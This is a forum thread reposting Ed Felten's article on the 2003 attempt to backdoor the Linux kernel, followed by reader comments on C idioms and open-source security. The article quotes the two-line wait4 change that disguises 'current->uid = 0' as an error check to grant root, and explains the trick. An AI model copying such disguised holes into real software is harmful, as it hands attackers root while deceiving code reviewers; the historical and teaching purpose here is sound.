Free Republic
Browse · Search
General/Chat
Topics · Post Article

Skip to comments.

The Linux Backdoor Attempt of 2003
Freedom to Tinker ^ | 9 October 2013 | Ed Felten

Posted on 10/10/2013 12:25:17 PM PDT by ShadowAce

Josh wrote recently about a serious security bug that appeared in Debian Linux back in 2006, and whether it was really a backdoor inserted by the NSA. (He concluded that it probably was not.)

Today I want to write about another incident, in 2003, in which someone tried to backdoor the Linux kernel. This one was definitely an attempt to insert a backdoor. But we don’t know who it was that made the attempt—and we probably never will.

Back in 2003 Linux used a system called BitKeeper to store the master copy of the Linux source code. If a developer wanted to propose a modification to the Linux code, they would submit their proposed change, and it would go through an organized approval process to decide whether the change would be accepted into the master code. Every change to the master code would come with a short explanation, which always included a pointer to the record of its approval.

But some people didn’t like BitKeeper, so a second copy of the source code was kept so that developers could get the code via another code system called CVS. The CVS copy of the code was a direct clone of the primary BitKeeper copy.

But on Nov. 5, 2003, Larry McVoy noticed that there was a code change in the CVS copy that did not have a pointer to a record of approval. Investigation showed that the change had never been approved and, stranger yet, that this change did not appear in the primary BitKeeper repository at all. Further investigation determined that someone had apparently broken in (electronically) to the CVS server and inserted this change.

What did the change do? This is where it gets really interesting. The change modified the code of a Linux function called wait4, which a program could use to wait for something to happen. Specifically, it added these two lines of code:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

[Exercise for readers who know the C programming language: What is unusual about this code? Answer appears below.]

A casual reading by an expert would interpret this as innocuous error-checking code to make wait4 return an error code when wait4 was called in a certain way that was forbidden by the documentation. But a really careful expert reader would notice that, near the end of the first line, it said “= 0” rather than “== 0”. The normal thing to write in code like this is “== 0”, which tests whether the user ID of the currently running code (current->uid) is equal to zero, without modifying the user ID. But what actually appears is “= 0”, which has the effect of setting the user ID to zero.

Setting the user ID to zero is a problem because user ID number zero is the “root” user, which is allowed to do absolutely anything it wants—to access all data, change the behavior of all code, and to compromise entirely the security of all parts of the system. So the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words … it’s a classic backdoor.

This is a very clever piece of work. It looks like innocuous error checking, but it’s really a back door. And it was slipped into the code outside the normal approval process, to avoid any possibility that the approval process would notice what was up.

But the attempt didn’t work, because the Linux team was careful enough to notice that that this code was in the CVS repository without having gone through the normal approval process. Score one for Linux.

Could this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack. Unless somebody confesses, or a smoking-gun document turns up, we’ll never know.


TOPICS: Computers/Internet
KEYWORDS: floss; security
Navigation: use the links below to view more comments.
first 1-2021-29 next last

1 posted on 10/10/2013 12:25:18 PM PDT by ShadowAce
[ Post Reply | Private Reply | View Replies]

To: rdb3; Calvinist_Dark_Lord; Salo; JosephW; Only1choice____Freedom; amigatec; Still Thinking; ...

2 posted on 10/10/2013 12:25:42 PM PDT by ShadowAce (Linux -- The Ultimate Windows Service Pack)
[ Post Reply | Private Reply | To 1 | View Replies]

To: ShadowAce
China?

/johnny

3 posted on 10/10/2013 12:53:44 PM PDT by JRandomFreeper (Gone Galt)
[ Post Reply | Private Reply | To 1 | View Replies]

To: JRandomFreeper
We'll never know.

But it does show how open source is more secure than closed source.

4 posted on 10/10/2013 1:02:14 PM PDT by ShadowAce (Linux -- The Ultimate Windows Service Pack)
[ Post Reply | Private Reply | To 3 | View Replies]

To: ShadowAce

A very clever backdoor indeed. Good plausible deniability too, since this is such a common typo for C programmers, and one that isn’t even caught by syntax checkers, since it is still perfectly valid syntax. If they ever did track down who inserted it, they couldn’t prove that someone didn’t just “goof up” and forget the second equal sign.


5 posted on 10/10/2013 1:02:57 PM PDT by Boogieman
[ Post Reply | Private Reply | To 1 | View Replies]

To: ShadowAce

“But it does show how open source is more secure than closed source.”

Yes, in one way it is. In another way, it isn’t.

If a flaw does get past the many eyes of the open source community, into the code, then it sits there waiting for anyone to notice it and exploit it. With closed source, such a flaw would need to be found more by trial and error.


6 posted on 10/10/2013 1:05:15 PM PDT by Boogieman
[ Post Reply | Private Reply | To 4 | View Replies]

To: ShadowAce

Yep. I looked right at it and didn’t see it. BTT


7 posted on 10/10/2013 1:06:57 PM PDT by Billthedrill
[ Post Reply | Private Reply | To 1 | View Replies]

To: JRandomFreeper
"China?"

The PRC, Russia, NSA, a private group of would be hackers etc.
Lots of suspects here.

8 posted on 10/10/2013 1:07:44 PM PDT by StormEye
[ Post Reply | Private Reply | To 3 | View Replies]

To: ShadowAce
Yep. Back in the day when I was actually contributing, I was VERY narrow in my focus, just a few hundred lines of code. It makes it easy to see something out of place.

/johnny

9 posted on 10/10/2013 1:15:25 PM PDT by JRandomFreeper (Gone Galt)
[ Post Reply | Private Reply | To 4 | View Replies]

To: Boogieman
At least in the open source community it gets noticed and fixed, not papered over.

/johnny

10 posted on 10/10/2013 1:16:37 PM PDT by JRandomFreeper (Gone Galt)
[ Post Reply | Private Reply | To 6 | View Replies]

To: JRandomFreeper

True, you just have to hope the first one to notice it is someone with scruples :)


11 posted on 10/10/2013 1:27:03 PM PDT by Boogieman
[ Post Reply | Private Reply | To 10 | View Replies]

To: Boogieman
A very clever backdoor indeed. Good plausible deniability too, since this is such a common typo for C programmers, and one that isn’t even caught by syntax checkers, since it is still perfectly valid syntax.

Yes, it's actually a C idiom. E.g., to process the contents of a file:

while (bytes_read = read(buffer)) {
    // Work with buffer
}
// ... Dropped out of read loop because zero bytes were read

Commonly used compilers can be set to warn when the above is used, requiring it to be changed to:

while ((bytes_read = read(buffer)) != 0) {
    // Work with buffer
}
// ... Dropped out of read loop because zero bytes were read

to avoid the warning. Of course, the assignment still takes place whether the target is bytes_read or current->uid.

12 posted on 10/10/2013 1:27:21 PM PDT by cynwoody
[ Post Reply | Private Reply | To 5 | View Replies]

To: Boogieman
It eventually will be.

/johnny

13 posted on 10/10/2013 1:32:04 PM PDT by JRandomFreeper (Gone Galt)
[ Post Reply | Private Reply | To 11 | View Replies]

To: ShadowAce

someone should have tested it with the __WCLONE option at least once to see if it returned -EINVAL

was it caught by unit testing? if not, it should have been

could have been sloppy code. that wouldn’t surprise me. better hacks involve pts to functions buried in hex tables of object code


14 posted on 10/10/2013 1:39:38 PM PDT by sten (fighting tyranny never goes out of style)
[ Post Reply | Private Reply | To 1 | View Replies]

To: sten
As the article states, it was caught because it was submitted incorrectly to CVS without any corresponding safeguards.

No need to unit test two lines when you know what those two lines are and can read the code.

15 posted on 10/10/2013 1:50:05 PM PDT by ShadowAce (Linux -- The Ultimate Windows Service Pack)
[ Post Reply | Private Reply | To 14 | View Replies]

To: ShadowAce

The fact that it was slipped in without approval would draw attention to it.

A smart hacker would realize that.

It’s pretty “ambitous” for a hacker to think they can get a backdoor into code that’s reviewed publicly.

If something is going to slip through, it would have to be very subtle, most certainly involving the interaction between different parts of the system, and these would be probably be maintained by different people.

There was not any sophistication to this attempt.

IMHO, it was either very halfhearted, sort of just poking around, or attempted by someone who’s rather half-witted.

Much more effective hacking would be to not try to put an explicit backdoor into Linux itself but to hack one machine at a time the old fashioned way, using the tools available and inherent weaknesses they imply.

Of course, once an individual computer is compromised, malware can be used for all sorts of things.

Linux, for example, as things like tcpdump that root can use to grab any or all network traffic using only a script, not even compiled programs.


16 posted on 10/10/2013 2:10:13 PM PDT by PieterCasparzen (We have to fix things ourselves)
[ Post Reply | Private Reply | To 1 | View Replies]

To: cynwoody

Yeah, that can be a handy way to save typing another line of code, when it’s used intentionally. Unintentionally, it can cause you to pull your hair out trying to debug :)


17 posted on 10/10/2013 2:27:29 PM PDT by Boogieman
[ Post Reply | Private Reply | To 12 | View Replies]

To: sten

“could have been sloppy code. that wouldn’t surprise me. better hacks involve pts to functions buried in hex tables of object code”

Yeah, but I think that’s exactly what makes this a good hack, in a way. It COULD just be sloppy code. And sloppy code can slip past a lot of eyes, sometimes.


18 posted on 10/10/2013 2:29:26 PM PDT by Boogieman
[ Post Reply | Private Reply | To 14 | View Replies]

To: ShadowAce

Possibly one of the most interesting articles I’ve ever read on FR! I wonder what Linus would say about this.


19 posted on 10/10/2013 3:15:43 PM PDT by 2 Kool 2 Be 4-Gotten
[ Post Reply | Private Reply | To 1 | View Replies]

To: sten

someone should have tested it with the __WCLONE option at least once to see if it returned -EINVAL


if ((options == (__WCLONE|__WALL))


Actually it wouldn’t - the code is written to only return that value
if BOTH flags were set AND ONLY both flags were set. The bitwise
OR and the equality test results in an AND semantic.

Whether this itself makes sense (i.e. to only take the conditional if both
flags are set) or it this would tend to be something with some more
devious intent - I don’t have enough knowledge to say.


20 posted on 10/10/2013 3:20:43 PM PDT by 2 Kool 2 Be 4-Gotten
[ Post Reply | Private Reply | To 14 | View Replies]


Navigation: use the links below to view more comments.
first 1-2021-29 next last

Disclaimer: Opinions posted on Free Republic are those of the individual posters and do not necessarily represent the opinion of Free Republic or its management. All materials posted herein are protected by copyright law and the exemption for fair use of copyrighted works.

Free Republic
Browse · Search
General/Chat
Topics · Post Article

FreeRepublic, LLC, PO BOX 9771, FRESNO, CA 93794
FreeRepublic.com is powered by software copyright 2000-2008 John Robinson